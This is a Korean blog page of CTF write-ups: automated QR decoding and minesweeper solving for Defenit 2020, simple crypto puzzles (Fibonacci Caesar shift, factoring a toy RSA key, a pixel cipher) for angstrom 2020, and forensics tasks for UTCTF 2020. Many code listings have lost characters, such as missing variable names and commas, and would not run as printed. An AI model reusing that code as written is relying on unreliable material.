1 0 0 1 0 0 0 0 1 1 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 0 0 
1 1 0 0 1 0 1 1 0 0 1 1 0 1 0 0 1 0 1 1 0 1 1 0 0 0 1 1 0 
0 0 1 1 0 0 0 0 0 0 0 0 0 1 0 0 1 1 0 1 0 0 0 1 0 1 0 1 1 
1 0 0 0 1 0 1 0 1 1 1 1 1 0 0 1 0 1 1 0 1 1 1 1 1 0 0 1 0 
0 0 0 0 0 0 0 0 1 0 1 0 0 0 1 1 0 0 1 1 1 0 0 0 1 0 0 0 0 
1 1 1 1 1 1 1 0 0 0 1 0 0 1 1 0 0 0 0 1 1 0 1 0 1 0 0 0 1 
1 0 0 0 0 0 1 0 1 1 1 1 0 1 0 1 1 1 0 0 1 0 0 0 1 1 1 1 0 
1 0 1 1 1 0 1 0 0 1 0 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 0 
1 0 1 1 1 0 1 0 1 0 1 1 1 1 1 1 0 0 0 1 1 0 0 1 0 1 1 1 0 
1 0 1 1 1 0 1 0 0 0 1 0 0 0 0 0 1 1 0 0 1 1 0 0 0 0 0 0 0 
1 0 0 0 0 0 1 0 1 0 0 0 0 1 0 1 0 0 0 0 1 1 0 0 0 0 1 1 0 
1 1 1 1 1 1 1 0 0 0 0 1 1 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 
 
STAGE 1
>> Time Over!
 
cs

 

1과 0으로 된 qrcode를 보내준다.

 

하얀배경 이미지를 불러와서 값이 1이면 해당 위치의 픽셀의 값을 검정으로 바꾸도록 코드를 쓱-싹 작성해 준다.

하얀배경 이미지는 포토샵을 이용한다. 넉넉하게 200px*200px

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from PIL import Image
 
= remote("qr-generator.ctf.defenit.kr"9000)
p.recvuntil('name?')
p.sendline('M4ndU')
img = Image.open('./200.png') #load white background 200*200 image
img = img.convert("RGB")
newData = []
 
qrbin = [0* 200
p.recvuntil('< QR >\n')
for i in range(200):
    data = str(p.recvline())
    data = data.replace("b'""")
    data = data.replace("\\n'""")
    data = data.replace(" """)
    if data == "":
        print(p.recvline())
        break
    qrbin[i] = data
 
for x in range(len(qrbin)):
    if qrbin[x] == 0:
        break
    for y in range(len(str(qrbin[x]))):
        if qrbin[x][y] == "1":
            img.putpixel( (x, y), (000)) #black
 
img.save("./dimg/TransparentImage"+str(n)+".png""PNG")
 
 
p.interactive()
 
cs

 

그러면 이러한 qrcode 이미지를 만들어 낼 수 있다.

(제공되는 qrcode 크기가 제각각 이어서 배경 이미지의 크기에 여유를 주었다. 인식하는데에는 문제가 없었다.)

 

 

이제 이 qrcode를 decoding해서 보내주기만 하면 된다. 그러나 이 과정에서 삽질이 있었다.

 

이 qrcode이미지를 디코딩하는 방법에는 여러가지가 있다.

qrcode를 디코딩해주는 사이트에 리퀘스트 날려서 크롤링하는 방법. (이미지 보내고 크롤링 해야되는 무조건 버리고)

파이썬 모듈을 이용해서 디코딩 하는 방법.

 

qrcode를 디코딩할 수 있는 파이썬 모듈에는 여러가지가 있었다.

 

먼저 qrtools.

 

$sudo pip3 install qrtools

 

      qr = qrtools.QR()

AttributeError: module 'qrtools' has no attribute 'QR'

 

음? (오류 1스택)

파이썬 2로 다시시도..

 

 

$sudo pip install qrtools

 

import qrtools
ImportError: No module named qrtools

 

??????? (오류 2스택)

 

다음 시도한 것이 qrcode

 

 d = qrcode.Decoder()
AttributeError: module 'qrcode' has no attribute 'Decoder'

 

문서에서는 이렇게 쓰라고 나와있었는데 뭐지..(오류 3스택)

 

 

pyzbar를 사용해볼까

>>> decode(img)
[]

 

도대체 되는게 뭡니까(오류 4스택)

 

 

$ sudo pip3 install pyqrcode

$ sudo apt-get install python-qrtools

 

>>> import pyqrcode
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named pyqrcode
(오류 5스택)

 

>>> import qrtools

>>> qr = qrtools.QR()

>>> qr.decode("./TransparentImage.png")
False

(오류 6스택)

 

AttributeError: module 'pyqrcode' has no attribute 'Decoder'

(오류 7스택)

 

 

...

 

웹으로 해결할까 생각이 들어서 테스트때 디코딩에 성공했던 ZXng Decode Online에 들어가봤다.

 

https://zxing.org/w/decode.jspx

 

ZXing Decoder Online

 

zxing.org

하단 내용을 보면 오픈소스 프로젝트라고 써있다.

 

혹시 파이썬 모듈도 있나 들어가봤다.

 

pyzxing Python wrapper to ZXing library

 

있다.

 

바로 설치.

 

>>> from pyzxing import BarCodeReader

>>> reader = BarCodeReader()

>>> results = reader.decode( './TransparentImage.png')

>>> results
[{'filename': 'file:///home/mandu/Desktop/p/./TransparentImage.png', 'format': 'QR_CODE', 'type': 'TEXT', 'raw': '0pXenF4L00pza6n9XO45WjUvM4RvBUuoQICQAraBTh1rJIBeYUpxxJFNFsGOQ7DFNZ67QzuP0fNzl8of6j3wfObKWkRuUO1xrn2iMLQl7KCBJ6waeBboITBQRPDYtZUmQmHHa85ll4J', 'parsed': '0pXenF4L00pza6n9XO45WjUvM4RvBUuoQICQAraBTh1rJIBeYUpxxJFNFsGOQ7DFNZ67QzuP0fNzl8of6j3wfObKWkRuUO1xrn2iMLQl7KCBJ6waeBboITBQRPDYtZUmQmHHa85ll4J', 'points': [(3.5, 49.5), (3.5, 3.5), (49.5, 3.5), (46.5, 46.5)]}]
>>> results[0]['raw']
'0pXenF4L00pza6n9XO45WjUvM4RvBUuoQICQAraBTh1rJIBeYUpxxJFNFsGOQ7DFNZ67QzuP0fNzl8of6j3wfObKWkRuUO1xrn2iMLQl7KCBJ6waeBboITBQRPDYtZUmQmHHa85ll4J'

 

성공.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from PIL import Image
from pyzxing import BarCodeReader
 
= remote("qr-generator.ctf.defenit.kr"9000)
p.recvuntil('name?')
p.sendline('M4ndU')
for n in range(100):
    img = Image.open('./200.png')
    img = img.convert("RGB")
    newData = []
 
    qrbin = [0* 200
    p.recvuntil('< QR >\n')
    for i in range(200):
        data = str(p.recvline())
        data = data.replace("b'""")
        data = data.replace("\\n'""")
        data = data.replace(" """)
        if data == "":
            print(p.recvline())
            break
        qrbin[i] = data
 
    for x in range(len(qrbin)):
        if qrbin[x] == 0:
            break
        for y in range(len(str(qrbin[x]))):
            if qrbin[x][y] == "1":
                img.putpixel( (x, y), (000))
 
    img.save("./dimg/TransparentImage"+str(n)+".png""PNG")
 
 
    reader = BarCodeReader()
    results = reader.decode('./dimg/TransparentImage'+str(n)+'.png')
    print(results[0]['raw'])
 
    p.sendline(results[0]['raw'])
 
p.interactive()
 
cs

 

 

 

 

 

 

 


Minesweeper

Can you solve the minesweeper in one minute?

 

 

1분안에 지뢰찾기를 성공하면 되는 문제.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
     a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   
   -----------------------------------------------------------------
 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 2 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 3 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 4 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 5 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 6 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 7 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 8 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 9 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
10 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
11 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
12 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
13 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
14 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
15 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
16 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 
Type the column followed by the row (eg. a5). To put or remove a flag, add 'f' to the cell (eg. a5f). Type 'help' to show this message again.
 
Enter the cell (40 mines left): 
 
cs

 

이런식으로 칸이 주어지고, a1을 입력하면 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
     a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   
   -----------------------------------------------------------------
 1 | 0 | 0 | 0 | 0 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 2 | 0 | 0 | 0 | 0 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 3 | 0 | 1 | 2 | 2 | 1 | 1 |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 4 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 5 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 6 | 1 | 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 7 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 8 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 9 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
10 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
11 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
12 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
13 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
14 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
15 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
16 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 
cs

주변 3*3범위에 폭탄의 개수를 알려준다.

 

지뢰의 위치에는 깃발을 꽂아야 한다. 저기서는 C4자리에 폭탄이 있으니 c4f를 입력해주어야 한다.

다음으로 지뢰가 없는 c5를 입력하여 나아가도록 한다.

 

이 과정을 자동화 하자.

 

 

http://www.hakank.org/numberjack/minesweeper.py

구글링 해서 찾아낸 지뢰찾기 솔버.

 

사용을 위해서 Numberjack 모듈을 설치해준다.

https://github.com/eomahony/Numberjack

 

eomahony/Numberjack

Python Combinatorial Optimisation Platform. Contribute to eomahony/Numberjack development by creating an account on GitHub.

github.com

X = -1

default_game = [
            [2,3,X,2,2,X,2,1],
            [X,X,4,X,X,4,X,2],
            [X,X,X,X,X,X,4,X],
            [X,5,X,6,X,X,X,2],
            [2,X,X,X,5,5,X,2],
            [1,3,4,X,X,X,4,X],
            [0,1,X,4,X,X,X,3],
            [0,1,2,X,2,3,X,2]
            ]

이렇게 지뢰찾기 배열을 넘겨주면

0 0 1 0 0 1 0 0 
1 1 0 0 1 0 1 0 
0 0 1 1 0 1 0 1 
1 0 1 0 1 1 0 0 
0 1 1 1 0 0 1 0 
0 0 0 0 1 1 0 1 
0 0 1 0 1 0 1 0 
0 0 0 1 0 0 1 0 
Nodes: 3  Time: 0.0

 

0: 지뢰없음 1: 지뢰있음 으로 결과를 출력해준다. 확실하지 않은 곳은 확률을 반환해준다. 이것을 개조했다.

 

문제에 아무 위치 한곳을 입력해주고 그 출력값을 위 코드로 분석하여 확실한 지뢰가 아닌 곳(0)과 지뢰인 곳(1)을 구해낼 수 있다. 지뢰인 곳에는 flag를 세우고 지뢰가 아닌 곳은 입력해서 주변 값들도 알아낸다.

 

이제 다시 맵의 결과값을 바탕으로 위 루틴을 전체를 구해낼 때까지 돌린다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#!/usr/bin/python
"""
This Numberjack model was created by
Hakan Kjellerstrand (hakank@bonetmail.com)
 
See also my Numberjack page http://www.hakank.org/numberjack/
"""
import sys
from Numberjack import *
 
from pwn import *
 
colNum = "abcdefghijklmnop"
 
= -1
alreadyInput = [[0 for ccccc in range(16)] for ddddd in range(16)]
row = [['0' for cola in range(16)] for rowa in range(16)]
gamerow = [[-1 for colas in range(16)] for rowas in range(16)]
 
= remote("minesweeper.ctf.defenit.kr"3333)
p.recvuntil(':')
p.sendline('h7'#중앙을 파면 한 번에 많은 위치를 분석할 수 있지 않을까
 
default_game = gamerow
default_r = 16
default_c = 16
 
#
# Solve the Minesweeper problem
#
def minesweeper(libs, game="", r="", c=""):
 
    # Set default problem
    if game == "":
        game = default_game
        r = default_r
        c = default_c
    else:
        print "rows:", r, " cols:", c
 
    #
    # Decision variables
    # Note: Matrix is defined with cols,rows,...
    #
    mines = Matrix(c,r,0,1)
 
    S = [-1,0,1]  # for the neighbors of this cell
 
    model = Model()
 
    for i in range(r):
        for j in range(c):
            if game[i][j] >= 0:
                model.add(mines[i,j] == 0)
                # this cell is the sum of all the surrounding cells
                model.add(
                    game[i][j] == Sum([mines[i+a,j+b]
                                       for a in S for b in S
                                       if i+a>=0 and
                                          j+b>=0 and
                                          i+a<r  and
                                          j+b<c
                                       ])
                    )
            if game[i][j] > X:
                # This cell cannot be a mine
                model.add(mines[i,j] == 0)
 
    # print model
 
 
    for library in libs:
        solver = model.load(library)
        # print solver
        print ''
        if solver.solve():
            solver.printStatistics()
            print_mines(mines, r, c)
            print 'Nodes:', solver.getNodes(), ' Time:', solver.getTime()
            #while library == 'Mistral' and solver.getNextSolution():
            #    print_mines(mines, r, c)
            #    print 'Nodes:', solver.getNodes(), ' Time:', solver.getTime()
 
        else:
            print "No solution"
            p.interactive()
        print ''
 
#
# Print the mines
#
def print_mines(mines, rows, cols):
    for i in range(rows):
        print i+1,
        for j in range(cols): #이부분을 수정했다. 불확실한 곳은 ?표시
            if len(str(mines[i,j])) > 4:
                print "?",
            else : #확실
                print str(mines[i,j]),
                if str(mines[i,j]) == '1'#지뢰는 플래그를 세우자
                    if alreadyInput[i][j] == 0#중복 입력 방지
                        print(colNum[j]+str(i+1)+"f"+'\n')
                        try:
                            p.send(colNum[j]+str(i+1)+"f"+'\n')
                            p.recvuntil("):")
                        except Exception as e:
                            p.interactive()
                elif str(mines[i,j]) == '0'#지뢰가 아니면 주변을 더 알아내자
                    if alreadyInput[i][j] == 0#중복 입력 방지
                        print(colNum[j]+str(i+1)+'\n')
                        try:
                            p.send(colNum[j]+str(i+1)+'\n')
                            p.recvuntil("):")
                        except Exception as e:
                            p.interactive()
        print ''
 
def print_game(game, rows, cols):
    for i in range(rows):
        print i+1,
        for j in range(cols):
            if game[i][j] == -1:
                print "?"#모르거나 지뢰인 곳은 ?표시
            else :
                print game[i][j],
        print ''
 
 
# file = "minesweeper1.txt"
 
for aa in range(6): #루틴을 몇번 돌릴 것인지. 끝까지 돌리는게 최고지만 정확성이 떨어져서 적당히 맞춰줘야 했다.
    row = [['0' for cola in range(16)] for rowa in range(16)]
    gamerow = [[-1 for colas in range(16)] for rowas in range(16)]
 
    p.recvline()
    p.recvline()
    p.recvline()
    p.recvline()
    p.recvline()
    for i in range(16):
        data = p.recvline()
        row[i] = str(data).split('|')
        p.recvline()
        for j in range(117):
            try:
                if row[i][j] == '   ':
                    gamerow[i][j-1= -1;
                elif row[i][j] == ' F ':
                    alreadyInput[i][j-1= -1 #중복입력을 방지하기 위함. 깃발을 세웠다는건 여기를 더 이상 이 위치를 입력할 필요가 없다는 것
                else :
                    gamerow[i][j-1= int(row[i][j].strip());
                    alreadyInput[i][j-1= 1 #중복입력ㅇ르 방지하기 위함. 이곳의 값이 있다는건 더 이상 이 위치를 입력할 필요가 없다는
            except Exception as e:
                p.interactive()
 
 
    default_game = gamerow
    print_game(default_game, 1616)
    # minesweeper(['NumberjackSolver', 'Mistral'])
    minesweeper(['Mistral'])
    # minesweeper(['SCIP'])
    print "================================================="
    p.sendline("h7")
 
p.interactive()
 
cs

 

 

근데 solver가 완벽하지는 않다. 완벽한 지뢰 위치를 찾아주지 못한다. 그래서 중간에 game over가 나기도 한다.

그래서 약 6번의 루틴을 시도하게 하고, 코드를 수십번 돌려서 운좋게 165행 코드가 실행이 되면 약 3칸정도가 남는다. 이건 눈으로 보고 풀어서 flag를 받을 수 있었다.

 

 

It took you 0 minutes and 17 seconds.

You Win!!!
Defenit{min35w33p3r_i5_ezpz}

 

 

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

CCE2020 Quals Write-up  (0) 2020.09.26
FIESTA 2020 Write up  (2) 2020.09.07
angstrom CTF 2020 write up  (0) 2020.03.14
UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
반응형

Shifter

Misc

 

What a strange challenge...

It'll be no problem for you, of course!

 

 

 

Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!
You'll be given a number n and also a plaintext p.
Caesar shift `p` with the nth Fibonacci number.
n < 50, p is completely uppercase and alphabetic, len(p) < 50
You have 60 seconds!
--------------------
Shift XECK by n=1

 

주어진 문자열을 n번째 피보나치 수열 만큼 shift 한 값을 보내면 된다.

 

 

EX

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
 
def fibo(n):
    t = [01]
 
    if n in (01):
        f = n
    else:
        for i in range(2, n+1):
            f = sum(t)
            t = [t[1], f]
 
    return f
 
 
 
 
alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
 
= remote("misc.2020.chall.actf.co"20300)
 
for a in range(0,50):
    p.recvuntil("Shift ")
    taskstr = list((p.recvuntil(" ")).strip())
    p.recvuntil("=")
    n = fibo(int(p.recvline()))
 
 
    for i in range(len(taskstr)):
        taskstr[i] = alpha[(ord(taskstr[i]) - 65 + n) % 26]
 
    ans = ''.join(taskstr)
    print ans
    p.sendline(ans)
p.interactive()
 
cs

 

 

 

flag : actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}


Reasonably Strong Algorithm

Crypto

 

 

n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931

 

 

https://www.alpertron.com.ar/ECM.HTM

 

Integer factorization calculator

 

www.alpertron.com.ar

여기에서 n을 인수분해 해준다.

 

 

126 390312 099294 739294 606157 407778 835887 (39 digits) = 9 336949 138571 181619 × 13 536574 980062 068373

 

 

 

$ python rsatool.py -p 9336949138571181619 -q 13536574980062068373
Using (p, q) to initialise RSA instance

n = 126390312099294739294606157407778835887 (0x5f15e3803896f7b78f17d685eb590daf)

e = 65537 (0x10001)

d = 122116681453826726664714315157880092841 (0x5bded13dfcef588dae9e87c5c23eb8a9)

p = 9336949138571181619 (0x819381c5b26cbe33)

q = 13536574980062068373 (0xbbdb93397a0a3e95)

 

rsatool.py를 이용해서 d값을 구해준다.

 

c^d mod N

 

복호화

 

 

flag : actf{10minutes}

 

 

 


 

Wacko Images

Crypto

 

How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py

 

 

enc.png

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from numpy import *
from PIL import Image
 
flag = Image.open(r"flag.png")
img = array(flag)
 
key = [413723]
 
a, b, c = img.shape
 
for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            pixel[i] = pixel[i] * key[i] % 251
        img[x][y] = pixel
 
enc = Image.fromarray(img)
enc.save('enc.png')
cs

 

각 픽셀의 rgb 값에 각각 41, 37, 23을 곱하고 251로 나눈 나머지 값을 저장하여 enc.png 이미지를 만든다.

 

 

역연산을 해주면 되는데 251로 나눈 몫을 모르기 때문에 t로 두고 브포를 때렸다.

 

 

ex.py :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from numpy import *
from PIL import Image
 
flag = Image.open(r"enc.png")
img = array(flag)
 
key = [413723]
 
a, b, c = img.shape
 
for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            for t in range(0,41):
                if (251 * t + pixel[i]) % key[i] == 0:
                    pixel[i] = (251 * t + pixel[i]) / 23
        img[x][y] = pixel
 
enc = Image.fromarray(img)
enc.save('flag.png')
 
cs

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

FIESTA 2020 Write up  (2) 2020.09.07
2020 Defenit CTF Write Up  (2) 2020.06.06
UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
Christmas CTF 2019 Write-up 문제 풀이  (2) 2019.12.30
반응형

Team : N0Named

 

 

 

Forensics

 

Observe Closely

50

A simple image with a couple of twists...

by phleisch

 

 

png 파일이 하나 주어진다.

 

 

이미지만 봤을 때는 정상이다. 그럼 hxd로 까보자

 

PNG의 푸터 시그니처인 end를 검색해주었더니 뒤에 PK시그니처가 있는 것을 볼 수 있다.

해당 뒷부분을 추출해서 zip파일로 만들어주면 elf 파일이 하나 존재한다.

 

ida 64bit로 뜯어서 main 함수를 확인하면 flag를 찾을 수 있다.

 

 

 

 

 


 

 

1 Frame per Minute

50

I recently received this signal transmission known as SSTV in a mode called Martian? This technology is all very old so I'm not sure what to do with it. Could you help me out?

by phleisch

 

 

wav 파일이 하나 주어진다.

 

SSTV에 사용되는 것인데

http://users.belgacom.net/hamradio/rxsstv.htm

 

RX-SSTV: Freeware SSTV Software and SSTV Decoder

 

users.belgacom.net

이걸로 디코딩을 할 수 있다.

 

(근데 꼭 마이크로 입력해야돼?)

 


[basics] forensics

50

My friend said they hid a flag in this picture, but it's broken! Now that I think about it, I don't even know if it really is a picture...

 

 

jpeg 파일이 주어진다.

 

이미지로는 안열려서 hxd로 열었다.

 

엥 그냥 plaintext잖아

 

메모장으로 열어서 플래그포멧인 utflag를 검색하니까 플래그가 바로 나왔다.

 

 


 

Spectre

50

I found this audio file, but I don't think it's any song I've ever heard... Maybe there's something else inside?

 

 

이번에도 오디오 파일인데 문제 제목이나 지문을 보면 오디오 스펙트럼을 봐야한다는 감이 온다.

 

 

그럼그럼

 

sonic visualiser 라는 프로그램을 이용하면 된다!

반응형

'CTF Write Up' 카테고리의 다른 글

2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
Christmas CTF 2019 Write-up 문제 풀이  (2) 2019.12.30
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22

+ Recent posts